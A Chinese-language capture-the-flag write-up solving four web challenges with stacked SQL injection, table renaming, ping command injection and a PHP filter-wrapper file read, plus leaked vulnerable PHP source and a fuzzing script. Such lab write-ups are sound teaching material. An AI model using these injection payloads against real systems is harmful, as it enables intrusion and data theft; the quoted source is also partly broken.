目录
[强网杯 2019]随便注
[ACTF2020 新生赛]Exec
[SUCTF 2019]EasySQL
[极客大挑战 2019]Secret File
[强网杯 2019]随便注
打开场景,里面有输入框,上面自带一个1,点击提交,有回显
![](https://img-blog.csdnimg.cn/599a559a83954d77b3eb697a790b3209.png)
![](https://img-blog.csdnimg.cn/baa4865a900f4eaaa4c2a3421adb182f.png)
输入1 ' or '1'='1 有回显,因该是字符型
![](https://img-blog.csdnimg.cn/3dba66aff2224186afca7cc27f2b6cad.png)
猜测是sql注入,查询字段数,输入1' order by 1 #
![](https://img-blog.csdnimg.cn/b2d9e70bb6474d5ab8108acbf6c85d41.png)
![](https://img-blog.csdnimg.cn/c6e58a6fb0b94022a070667f0a2237de.png)
![](https://img-blog.csdnimg.cn/8d9025f6e4294aacb67be7f7990fce2e.png)
当查询到第三个字段的时候,回显异常,说明只有两个字段
输入1' union select 1,2 # 回显一个正则过滤规则
![](https://img-blog.csdnimg.cn/87014dcbcdec41839ae14739885dc9af.png)
过滤了很多的东西
查询数据库,输入1'; show databases;#成功回显
![](https://img-blog.csdnimg.cn/3f9294a475ef4440ae5560830af32126.png)
查询表,输入1';show tables;#成功回显
![](https://img-blog.csdnimg.cn/8d856371f2ea4fd599e5f30a10590117.png)
得到了两个表,words和1919810931114514,分别查看,输入1'; show columns from `words`; #
参考大佬的wp得知这里的``而不是''是个坑
mysql中引号(')和反勾号(`)的区别:
linux下不区分,windows下区分
区别:
单引号或双引号主要用于字符串的引用符号
eg: mysql> SELECT 'hello',"hello";
反勾号主要用于数据库、表、索引、列和别名用的引用符
eg: `mysql>SELECT * FROM `table` WHERE `from`='abc';
![](https://img-blog.csdnimg.cn/b3c182a27b814eee9be4043f35bc61d5.png)
发现了有用的信息,在1919810931114514中发现了flag字段,但是最后一步卡住了我,不知道该怎么办,上网查询大佬的wp得知:sql过滤了很多的词,但是没有过滤alert和rename,将words改名为words1,再把1919810931114514改为words,再把新的words中的flag改名为id。构造payload:1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
![](https://img-blog.csdnimg.cn/40e246a4c9744e2db5514da3690447fa.png)
输入1' or '1'='1,即得flag
![](https://img-blog.csdnimg.cn/769aa167acea4e7a844a848d4eeaac90.png)
参考wp:BUUCTF-Web-随便注(三种解题思路) - 简书
[ACTF2020 新生赛]Exec
打开场景,命令执行题
![](https://img-blog.csdnimg.cn/6c5254e7f21e440f9a4dfb96cddaeb84.png)
先ping一下自己的地址,发现有回显
![](https://img-blog.csdnimg.cn/2896a3848ec946a6b67e05b97130401b.png)
直接ls命令列出文件(127.0.0.1|ls),发现了index.php,继续查看根目录(127.0.0.1|ls /)发现flag![](https://img-blog.csdnimg.cn/9064caa0435842a98836dda4a2a6687c.png)
![](https://img-blog.csdnimg.cn/329a9e4cc9f34057960cd5d7a7f23c36.png)
用cat命令直接读取flag内容,127.0.0.1|cat /flag
![](https://img-blog.csdnimg.cn/611ff313043045d1a89107086150a682.png)
[SUCTF 2019]EasySQL
打开场景,非常熟悉的提交页面,
提交一个1,有回显,跟随便注有点像,猜测和随便注一样是堆叠注入
查询一下库名,1;show databases; 有回显
继续查询表名, 1;show tables; 有回显,并且出现了Flag的字眼,当我以为快要成功的时候,继续往下查看Flag内容时, 1;show columns from `Flag`; 它竟然回显nonono
然后我就不会了,只能查看大佬的wp
wp中说,当时这个比赛的时候有源码泄露
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile
|readfile|where|from|union|update|delete|if|sleep|extractvalue|
updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
发现过滤了很多的很多的关键词,
ps:网上也有通过fuzz查询过滤掉的关键词:
import requests
url = "http://0f2d22cb-56bf-4239-8e1c-1deb288bac41.node4.buuoj.cn:81/"
with open('sql-fuzz.txt') as f:
for line in f:
data = {"query": line}
r = requests.post(url,data=data)
if('Nonono' in r.text):
print(line.strip(),end=" ")
1.大佬们说没有过滤set关键字,并且从源码中得知执行语句是:$sql = "select ".$post['query']."||flag from Flag";
这里||代表的意思是:如果前一个操作数为真,则不看后面的语句
在这里要使用一个参数是:set_mode=PIPPES_AS_CONCAT
MySQL中sql_mode参数_依米娜娜的博客-CSDN博客_sql_mode
构造执行语句:
select 99;set sql_mode=PIPES_AS_CONCAT;select 0 ||flag from Flag
输入即得flag
2.大佬们还说没有过滤*
直接输入*,1 即可得flag
因为内置得sql语句是:$sql = "select ".$post['query']."||flag from Flag";
如果$post['query']得数据为,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag
参考wp:[SUCTF 2019]EasySQL_D.MIND的博客-CSDN博客
[极客大挑战 2019]Secret File
打开题目,里面漆黑一片
![](https://img-blog.csdnimg.cn/60a6567481d440cf9197a0b072844d17.png)
查看网页源代码,现有一个Oh! You found me,但是在网页上没有显示
发
![](https://img-blog.csdnimg.cn/8a124ecd2d694d99a358fd74234116d9.png)
点进去又一个新的页面
![](https://img-blog.csdnimg.cn/fbd4f26531b54612bd4a9ab421e6faf2.png)
继续点进去
![](https://img-blog.csdnimg.cn/7fcf23722d414e0cb768ca691d551f7b.png)
它说查阅结束,这么快谁能看得清?无奈之下bp抓包,发现secr3t.php
![](https://img-blog.csdnimg.cn/b547721c8f9c4202951acd1f3ca8d095.png)
进入网页之后直接url查看secr3t.php,得到php代码块
![](https://img-blog.csdnimg.cn/38859cb174124c4f869bac8534220366.png)
![](https://img-blog.csdnimg.cn/c7f239fb80e54b61bdb3fd7c37e7329f.png)
发现没有过滤file,直接使用php伪协议
参考: PHP伪协议详解_Snakin_ya的博客-CSDN博客_php伪协议
构造payload:secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php![](https://img-blog.csdnimg.cn/0a04791285404f949dc1b678ddc9f59c.png)
获得base64加密字符串:PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7YWNhYTY3NDYtNTUwNy00OWI3LTkwYzAtNWNiZjc2OWI3MjBjfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
直接base64解密可得flag
![](https://img-blog.csdnimg.cn/5e99ae726ee34a569bca270ea9bb3532.png)